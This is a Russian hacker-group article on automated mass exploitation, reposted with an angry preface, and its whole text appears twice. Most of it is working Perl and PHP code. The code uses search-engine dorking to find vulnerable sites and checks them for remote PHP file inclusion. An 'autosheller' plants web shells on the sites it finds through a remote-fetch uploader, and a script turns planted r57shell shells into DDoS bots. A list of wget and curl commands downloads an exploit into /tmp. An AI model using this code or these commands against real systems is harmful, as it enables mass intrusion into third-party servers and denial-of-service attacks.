статья моего друга, нанубита. кста эту статью выложили на сайте журнала Хакер незаплатив ему никопейки. гады!!!! мочить их
====================================
| by n4n0bit | bitdotcom@gmail.com | http://n4n0bit.nm.ru/ | http://hellknights.void.ru/ |
------------------------------
Боты поисковых машин 2
------------------------------
[0] предисловие
[1] поисковая часть
[2] фильтрация результатов
[3] exploiting
[4] автошеллер
[5] организация ddos на базе web-шеллов
[6] средства закачки файлов в unix-like
[7] ссылки
[8] Gr337z
------------------------------
[0] Эта статья является продолжением, ориентирована на perl/php кодера. Она может дать толчок в написании DDOS средств и не толька.
Так же этот материал можно использовать в качестве уведомления владельцев своих web-проектов о найденных уязвимостях в ПО, за что в
последующем можно получить вознагрождение.
[1] Для поиска будем использовать 4ре поисковые системы: aol.com, msn.com, yandex.ru, google.com
#!/usr/bin/perl
use strict;
use warnings;
use LWP::UserAgent;
our $h0pz = 20; # число скачков по результатам поисковика
our $banner = 'kblance'; # собственно цель поиска
our $mask = 'BB/'; # маска установочного пути, т.е. http://bla.ru/phpBB/index.php, если ПО установлено сразу в корень,
# т.е. http://bla.ru/index.php , то значение переменной оставляем пустым '' .
our $include = 'http://[my_shell]/script'; # это путь к скрипту который мы хотим подгрузить, используя уязвимость
our $accord = 'vse_zaebis'; # возвращаемый ответ соответствия
our @c0ntent = (); # в эту переменную будут в последующем заноситься результаты поиска
our @uRLS = (); # здесь уже будут содержаться исключительно только URL
# опишем подпрограмму поиска используя aol.com
sub aolCom
{
print "[:: aol.com ::]\n";
for(my $i = 1; $i <= $h0pz/10; $i++) # скачим по страницам результатов
{
my $ua = LWP::UserAgent->new;
# указываем UserAgent браузера
$ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);
# Составляем запрос поисковика и интерполяцией переменных $banner и $i
my $req = HTTP::Request->new(GET => "http://search.aol.com/aolcom/search?invocationType=topsearchbox.search&query=$banner&page=$i");
$req->header('Accept' => 'text/html');
# отправляем запрос
my $res = $ua->request($req);
# добавляем в массив @c0ntent общий результат поиска
push @c0ntent, $res->content;
}
# выдираем из общего результата толька URL-ы
foreach(@c0ntent){push @uRLS, $_ =~ m{<b id="[^"]*">(.+?)</b>}smig;} #"
}
# опишем подпрограмму поиска используя msn.com
sub msnCom
{
print "[:: msn.com ::]\n";
for(my $i = 1; $i <= $h0pz; $i += 10) # скачим по страницам результатов
{
my $ua = LWP::UserAgent->new;
$ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);
my $req = HTTP::Request->new(GET => "http://search.msn.com/results.aspx?q=$banner&first=$i&FORM=");
$req->header('Accept' => 'text/html');
my $res = $ua->request($req);
push @c0ntent, $res->content;
}
foreach(@c0ntent){push @uRLS, $_ =~ /<h3><a.\w+\W{2}(.+?)\W>/g;} #"
}
# опишем код поиска по Yandex:
sub yandex
{
print "[:: yandex.ru ::]\n";
for(my $i = 1; $i <= $h0pz/10; $i++) # скачим по страницам результатов
{
my $ua = LWP::UserAgent->new;
$ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);
my $req = HTTP::Request->new(GET => "http://ya.ru/yandpage?&q=744300646&p=$i&ag=d&qs=rpt%3Drad%26text%3D$banner");
$req->header('Accept' => 'text/html');
my $res = $ua->request($req);
push @c0ntent, $res->content;
}
foreach(@c0ntent){push @uRLS, $_ =~ /\W{3}.href\W{2}(.+?)\W.target/g;} #"
}
# также по всеми любимому Google:
sub google
{
print "[:: google.com ::]\n";
for(my $i = 1; $i <= $h0pz; $i += 10) # скачим по страницам результатов
{
my $ua = LWP::UserAgent->new;
$ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);
my $req = HTTP::Request->new(GET => "http://google.com/search?q=$banner&hl=en&lr=&start=$i&sa=N");
$req->header('Accept' => 'text/html');
my $res = $ua->request($req);
push @c0ntent, $res->content;
}
foreach(@c0ntent){push @uRLS, $_ =~ /<a.\w+\W{2}.\W.\w+\W{2}(.+?)\W>/g;} #"
}
Итак поисковая часть собственно готова.
Как вы видите все довольно просто, что только требуется, так это менять шаблоны для парсинга.
Я поясню почему в одном случае делается for(my $i = 1; $i <= $h0pz; $i += 10) , а в другом
for(my $i = 1; $i <= $h0pz/10; $i++);
Просто когда поисковик выдал первый результат на 1й странице, вы можете просмотреть результаты и на последующих страницах, на сколько это возможно, и щелкать 1,2,3...10
так вот, в Google, например, в переменную "start" ( =en&lr=&start=$i& ) добавляется 10 всегда если вы на первой, если на 2й то еще 10 и того 20; у других же поисковиков, например yandex.ru передается в переменную "p" ( 744300646&p=$i&ag=d&qs )
по порядку цифры, от 1 и дальше в зависимости от того, сколько страниц результата поиска. Ну а уже наша переменна (не поисковика) $i и есть число следующей страницы результатов. Тут, предполагаю, вам все понятно.
[2] Здесь опишем "фильтр", т.к. из этих 4х поисковиков в переменной массива @uRLS могут содержаться одинаковые результаты, т.е. одинаковые URLы, поэтому нам требуется выбросить из массива одинаковые результаты. Чтобы воспользоваться функцией filter(), необходимо передать ей URLы, это уже я не буду здесь описывать, это касается и последующих функций.
sub filter # filter("список урлов");
{
print "[:: filtering ::]\n";
my (%uR,%glob);
foreach(@_) #
{
/(.+?$mask)/oi; # определяем URL до маски установочного пути и заносим в специальную переменную $1
my $url = $1;
$uR{$_} = $url if /$mask/oi; # добавим URL если он содержит маску установочного пути
next if exists $uR{$_}; # если такой URL уже содержится в качестве ключа хеша %uR, то исключим его
}
foreach(keys %uR)
{
/.+?\/\/.+?(\/.*$mask)/oi; # здесь определяем установочный путь уязвимого ПО и заносим его в специальную переменную $1
my $dir = $1;
my @own = split(/\//,$_);
unless($own[2] =~ /^www/) { $own[2] = "www.".$own[2]; } # здесь добавим "www" если они отсутствуют
$glob{$own[2]} = $dir; # здесь ключем является URL, а значением ключа установочный путь
}
return %glob; # возвращаем результат host/repl
}
[3] Итак подпрограмма фильтрации у нас готова, поисковая часть тоже есть, сейчас напишем подпрограмму которая будет проверять
работоспособность уязвимости.
sub fucking # fucking("\%glob");
{
print "[:: exploiting ::]\n";
foreach my $href(\%glob)
{
while(my($a,$b) = each %$href) # пройдясь по хешу, запишем в переменную $a хост, а в $b - установочный путь
{
my $ua = LWP::UserAgent->new;
$ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);
my $req = HTTP::Request->new(GET => "http://$a$b$include"); # здесь уже добавляем переменную $include
$req->header('Accept' => 'text/html');
my $res = $ua->request($req);
if($res->content =~ /$accord/oi) # проверяем ответ сервера на наличие слова-соответствия
{
print "[ + ] $a$b$include\n"; # выводим результат если все удалось
}
else
{
print "[ - ] $a$b$include\n"; # если не удалось
}
}
}
}
Ну собственно все, вам только остается все это дело склеить, добавить еще 5 строк кода.
[4] Далее поведаю вам как можно написать простой автошеллер. Автошеллер - это автоматизированный скрипт, который используя уязвимость
закачивает шеллСкрипт (или что-либо другое ).
Итак, принцип работы автошеллера заключается в использовании уязвимости, но тут я немного поясню.
Мы имеем 100% php-include поэтому URLу http://victim.org/admin.php?i=[здесь_уязвимость],
в значении переменной "i" мы подставляем следующий URL:
http://[SHELL]/p.php&url=http://[SOURCE]/post.txt&kuda=./&name=iamhax0r.php
Все в целом будет выглядеть так:
http://[victim.org]/admin.php?i=http://[SHELL]/p.php&url=http://[SOURCE]/post.txt&kuda=./&name=iamhax0r.php
^^^^^^^^^^^^^^^^^^^^^^^^ ^^ ^^^^^^^^^^^^
В значение переменной "url" ставим URL того, что требуется скачать.
В значение переменной "kuda" заносим значение куда нужна сохранить, а нашем случае в текущую диру "./"
Значение переменной "name" - здесь пишем под каким именем нужно сохранить.
Итак, используя этот вариант и учитывая что бага нам позволит им воспользоваться мы можем закачивать любой файл на сервер не пользуясь при этом wget, fetch, curl и прочие программы для закачки.
После того как вы закачаете, если файл будет удачно сохранен, то будет отправлен ответ ввиде сообщения
"You_the_mainest_evil_of_runet by Hell Knights Crew", который послужит в дальнейшем сигнализатором выполнения успешной работы.
Вот содержимое p.php:
<?php
$f=file_get_contents($_GET['url']);
$h=fopen($_GET['kuda'].$_GET['name'],'w');
fputs($h,$f);
fclose($h) && print "You_the_mainest_evil_of_runet by Hell Knights Crew";
?>
Пишем сам код автошеллера:
#!/usr/bin/perl
use strict;
use LWP::UserAgent;
use warnings;
our $sh_file = 'shells.txt';
our $reply = 'http://shell.narod.ru/p.php&url=http://src.by.ru/post.txt&kuda=./&name=iamhax0r.php';
open(SH,"$sh_file") or die "$!";
foreach(<SH>)
{
chomp;
my $ua = LWP::UserAgent->new;
$ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);
my $req = HTTP::Request->new(GET => "$_$reply");
$req->header('Accept' => 'text/html');
my $res = $ua->request($req);
if($res->content =~ /You_the_mainest_evil_of_runet by Hell Knights Crew/) { print "[ + ] $_$reply\n"; }
else { print "[ - ] $_$reply\n"; }
}
close SH;
[5] Думаю для названия этой статьи будет актуально привести небольшой пример организации DDOS атак построенный на шеллСкриптах.
Суть очень проста: скажем вы имеете файл содержащий уже закаченных и рабочих шеллов. Возьмем за основу r57shell 1.31 мы просто передаем параметры скрипту и все. =))
#!/usr/bin/perl
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;
our $name = 'ddos.pl';
our $src = 'здесь будет содержаться текст, будь то тело досера, либо проста Hello Word';
our $dir = '/tmp/';
open(SH,"shell.txt") or die "$!";
chomp(our @sh = <SH>);
close SH;
foreach(@sh)
{
my $ua = new LWP::UserAgent;
my $res = $ua->request(POST "$_",
[
cmd => "echo $src>$name;perl $name",
dir => "$dir",
submit => ''
]);
if($res->{_rc} =~ /200/) { print "Reply [ok]\n"; }
}
Этот момент мне нравиться тем, что снова не нужно пользоваться уже установленными качалками, а все делается через echo который всегда есть, а wget-ов фетчей и прочих курлов может и не быть либо ограничен к ним доступ.
[6] Рассмотрим средства закачки файлов в unix-like:
which и whereis поможет вам определить местоположение ниже приведенных:
Далее собственно качалки:
wget http://[target]/exploit.c -O /tmp/temlet.txt
fetch -o http://[target]/exploit.c -p /tmp/templet.txt
lynx -source http://[target]/exploit.c > /tmp/templet.txt
links -source http://[target]/exploit.c > /tmp/templet.txt
curl http://[target]/exploit.c -o /tmp/temlet.txt
cd /tmp;pear download http://[target]/exploit.c
GET http://[target]/exploit.c > /tmp/tempet.txt
[7] Ссылки
http://www.ffesys.com/docs/tutorial/perl/google.html
http://n4n0bit.nm.ru/
http://hellknights.void.ru/
[8] THNX: my girl
28.08.2006
====================================
| by n4n0bit | bitdotcom@gmail.com | http://n4n0bit.nm.ru/ | http://hellknights.void.ru/ |
------------------------------
Боты поисковых машин 2
------------------------------
[0] предисловие
[1] поисковая часть
[2] фильтрация результатов
[3] exploiting
[4] автошеллер
[5] организация ddos на базе web-шеллов
[6] средства закачки файлов в unix-like
[7] ссылки
[8] Gr337z
------------------------------
[0] Эта статья является продолжением, ориентирована на perl/php кодера. Она может дать толчок в написании DDOS средств и не толька.
Так же этот материал можно использовать в качестве уведомления владельцев своих web-проектов о найденных уязвимостях в ПО, за что в
последующем можно получить вознагрождение.
[1] Для поиска будем использовать 4ре поисковые системы: aol.com, msn.com, yandex.ru, google.com
#!/usr/bin/perl
use strict;
use warnings;
use LWP::UserAgent;
our $h0pz = 20; # число скачков по результатам поисковика
our $banner = 'kblance'; # собственно цель поиска
our $mask = 'BB/'; # маска установочного пути, т.е. http://bla.ru/phpBB/index.php, если ПО установлено сразу в корень,
# т.е. http://bla.ru/index.php , то значение переменной оставляем пустым '' .
our $include = 'http://[my_shell]/script'; # это путь к скрипту который мы хотим подгрузить, используя уязвимость
our $accord = 'vse_zaebis'; # возвращаемый ответ соответствия
our @c0ntent = (); # в эту переменную будут в последующем заноситься результаты поиска
our @uRLS = (); # здесь уже будут содержаться исключительно только URL
# опишем подпрограмму поиска используя aol.com
sub aolCom
{
print "[:: aol.com ::]\n";
for(my $i = 1; $i <= $h0pz/10; $i++) # скачим по страницам результатов
{
my $ua = LWP::UserAgent->new;
# указываем UserAgent браузера
$ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);
# Составляем запрос поисковика и интерполяцией переменных $banner и $i
my $req = HTTP::Request->new(GET => "http://search.aol.com/aolcom/search?invocationType=topsearchbox.search&query=$banner&page=$i");
$req->header('Accept' => 'text/html');
# отправляем запрос
my $res = $ua->request($req);
# добавляем в массив @c0ntent общий результат поиска
push @c0ntent, $res->content;
}
# выдираем из общего результата толька URL-ы
foreach(@c0ntent){push @uRLS, $_ =~ m{<b id="[^"]*">(.+?)</b>}smig;} #"
}
# опишем подпрограмму поиска используя msn.com
sub msnCom
{
print "[:: msn.com ::]\n";
for(my $i = 1; $i <= $h0pz; $i += 10) # скачим по страницам результатов
{
my $ua = LWP::UserAgent->new;
$ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);
my $req = HTTP::Request->new(GET => "http://search.msn.com/results.aspx?q=$banner&first=$i&FORM=");
$req->header('Accept' => 'text/html');
my $res = $ua->request($req);
push @c0ntent, $res->content;
}
foreach(@c0ntent){push @uRLS, $_ =~ /<h3><a.\w+\W{2}(.+?)\W>/g;} #"
}
# опишем код поиска по Yandex:
sub yandex
{
print "[:: yandex.ru ::]\n";
for(my $i = 1; $i <= $h0pz/10; $i++) # скачим по страницам результатов
{
my $ua = LWP::UserAgent->new;
$ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);
my $req = HTTP::Request->new(GET => "http://ya.ru/yandpage?&q=744300646&p=$i&ag=d&qs=rpt%3Drad%26text%3D$banner");
$req->header('Accept' => 'text/html');
my $res = $ua->request($req);
push @c0ntent, $res->content;
}
foreach(@c0ntent){push @uRLS, $_ =~ /\W{3}.href\W{2}(.+?)\W.target/g;} #"
}
# также по всеми любимому Google:
sub google
{
print "[:: google.com ::]\n";
for(my $i = 1; $i <= $h0pz; $i += 10) # скачим по страницам результатов
{
my $ua = LWP::UserAgent->new;
$ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);
my $req = HTTP::Request->new(GET => "http://google.com/search?q=$banner&hl=en&lr=&start=$i&sa=N");
$req->header('Accept' => 'text/html');
my $res = $ua->request($req);
push @c0ntent, $res->content;
}
foreach(@c0ntent){push @uRLS, $_ =~ /<a.\w+\W{2}.\W.\w+\W{2}(.+?)\W>/g;} #"
}
Итак поисковая часть собственно готова.
Как вы видите все довольно просто, что только требуется, так это менять шаблоны для парсинга.
Я поясню почему в одном случае делается for(my $i = 1; $i <= $h0pz; $i += 10) , а в другом
for(my $i = 1; $i <= $h0pz/10; $i++);
Просто когда поисковик выдал первый результат на 1й странице, вы можете просмотреть результаты и на последующих страницах, на сколько это возможно, и щелкать 1,2,3...10
так вот, в Google, например, в переменную "start" ( =en&lr=&start=$i& ) добавляется 10 всегда если вы на первой, если на 2й то еще 10 и того 20; у других же поисковиков, например yandex.ru передается в переменную "p" ( 744300646&p=$i&ag=d&qs )
по порядку цифры, от 1 и дальше в зависимости от того, сколько страниц результата поиска. Ну а уже наша переменна (не поисковика) $i и есть число следующей страницы результатов. Тут, предполагаю, вам все понятно.
[2] Здесь опишем "фильтр", т.к. из этих 4х поисковиков в переменной массива @uRLS могут содержаться одинаковые результаты, т.е. одинаковые URLы, поэтому нам требуется выбросить из массива одинаковые результаты. Чтобы воспользоваться функцией filter(), необходимо передать ей URLы, это уже я не буду здесь описывать, это касается и последующих функций.
sub filter # filter("список урлов");
{
print "[:: filtering ::]\n";
my (%uR,%glob);
foreach(@_) #
{
/(.+?$mask)/oi; # определяем URL до маски установочного пути и заносим в специальную переменную $1
my $url = $1;
$uR{$_} = $url if /$mask/oi; # добавим URL если он содержит маску установочного пути
next if exists $uR{$_}; # если такой URL уже содержится в качестве ключа хеша %uR, то исключим его
}
foreach(keys %uR)
{
/.+?\/\/.+?(\/.*$mask)/oi; # здесь определяем установочный путь уязвимого ПО и заносим его в специальную переменную $1
my $dir = $1;
my @own = split(/\//,$_);
unless($own[2] =~ /^www/) { $own[2] = "www.".$own[2]; } # здесь добавим "www" если они отсутствуют
$glob{$own[2]} = $dir; # здесь ключем является URL, а значением ключа установочный путь
}
return %glob; # возвращаем результат host/repl
}
[3] Итак подпрограмма фильтрации у нас готова, поисковая часть тоже есть, сейчас напишем подпрограмму которая будет проверять
работоспособность уязвимости.
sub fucking # fucking("\%glob");
{
print "[:: exploiting ::]\n";
foreach my $href(\%glob)
{
while(my($a,$b) = each %$href) # пройдясь по хешу, запишем в переменную $a хост, а в $b - установочный путь
{
my $ua = LWP::UserAgent->new;
$ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);
my $req = HTTP::Request->new(GET => "http://$a$b$include"); # здесь уже добавляем переменную $include
$req->header('Accept' => 'text/html');
my $res = $ua->request($req);
if($res->content =~ /$accord/oi) # проверяем ответ сервера на наличие слова-соответствия
{
print "[ + ] $a$b$include\n"; # выводим результат если все удалось
}
else
{
print "[ - ] $a$b$include\n"; # если не удалось
}
}
}
}
Ну собственно все, вам только остается все это дело склеить, добавить еще 5 строк кода.
[4] Далее поведаю вам как можно написать простой автошеллер. Автошеллер - это автоматизированный скрипт, который используя уязвимость
закачивает шеллСкрипт (или что-либо другое ).
Итак, принцип работы автошеллера заключается в использовании уязвимости, но тут я немного поясню.
Мы имеем 100% php-include поэтому URLу http://victim.org/admin.php?i=[здесь_уязвимость],
в значении переменной "i" мы подставляем следующий URL:
http://[SHELL]/p.php&url=http://[SOURCE]/post.txt&kuda=./&name=iamhax0r.php
Все в целом будет выглядеть так:
http://[victim.org]/admin.php?i=http://[SHELL]/p.php&url=http://[SOURCE]/post.txt&kuda=./&name=iamhax0r.php
^^^^^^^^^^^^^^^^^^^^^^^^ ^^ ^^^^^^^^^^^^
В значение переменной "url" ставим URL того, что требуется скачать.
В значение переменной "kuda" заносим значение куда нужна сохранить, а нашем случае в текущую диру "./"
Значение переменной "name" - здесь пишем под каким именем нужно сохранить.
Итак, используя этот вариант и учитывая что бага нам позволит им воспользоваться мы можем закачивать любой файл на сервер не пользуясь при этом wget, fetch, curl и прочие программы для закачки.
После того как вы закачаете, если файл будет удачно сохранен, то будет отправлен ответ ввиде сообщения
"You_the_mainest_evil_of_runet by Hell Knights Crew", который послужит в дальнейшем сигнализатором выполнения успешной работы.
Вот содержимое p.php:
<?php
$f=file_get_contents($_GET['url']);
$h=fopen($_GET['kuda'].$_GET['name'],'w');
fputs($h,$f);
fclose($h) && print "You_the_mainest_evil_of_runet by Hell Knights Crew";
?>
Пишем сам код автошеллера:
#!/usr/bin/perl
use strict;
use LWP::UserAgent;
use warnings;
our $sh_file = 'shells.txt';
our $reply = 'http://shell.narod.ru/p.php&url=http://src.by.ru/post.txt&kuda=./&name=iamhax0r.php';
open(SH,"$sh_file") or die "$!";
foreach(<SH>)
{
chomp;
my $ua = LWP::UserAgent->new;
$ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);
my $req = HTTP::Request->new(GET => "$_$reply");
$req->header('Accept' => 'text/html');
my $res = $ua->request($req);
if($res->content =~ /You_the_mainest_evil_of_runet by Hell Knights Crew/) { print "[ + ] $_$reply\n"; }
else { print "[ - ] $_$reply\n"; }
}
close SH;
[5] Думаю для названия этой статьи будет актуально привести небольшой пример организации DDOS атак построенный на шеллСкриптах.
Суть очень проста: скажем вы имеете файл содержащий уже закаченных и рабочих шеллов. Возьмем за основу r57shell 1.31 мы просто передаем параметры скрипту и все. =))
#!/usr/bin/perl
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;
our $name = 'ddos.pl';
our $src = 'здесь будет содержаться текст, будь то тело досера, либо проста Hello Word';
our $dir = '/tmp/';
open(SH,"shell.txt") or die "$!";
chomp(our @sh = <SH>);
close SH;
foreach(@sh)
{
my $ua = new LWP::UserAgent;
my $res = $ua->request(POST "$_",
[
cmd => "echo $src>$name;perl $name",
dir => "$dir",
submit => ''
]);
if($res->{_rc} =~ /200/) { print "Reply [ok]\n"; }
}
Этот момент мне нравиться тем, что снова не нужно пользоваться уже установленными качалками, а все делается через echo который всегда есть, а wget-ов фетчей и прочих курлов может и не быть либо ограничен к ним доступ.
[6] Рассмотрим средства закачки файлов в unix-like:
which и whereis поможет вам определить местоположение ниже приведенных:
Далее собственно качалки:
wget http://[target]/exploit.c -O /tmp/temlet.txt
fetch -o http://[target]/exploit.c -p /tmp/templet.txt
lynx -source http://[target]/exploit.c > /tmp/templet.txt
links -source http://[target]/exploit.c > /tmp/templet.txt
curl http://[target]/exploit.c -o /tmp/temlet.txt
cd /tmp;pear download http://[target]/exploit.c
GET http://[target]/exploit.c > /tmp/tempet.txt
[7] Ссылки
http://www.ffesys.com/docs/tutorial/perl/google.html
http://n4n0bit.nm.ru/
http://hellknights.void.ru/
[8] THNX: my girl
28.08.2006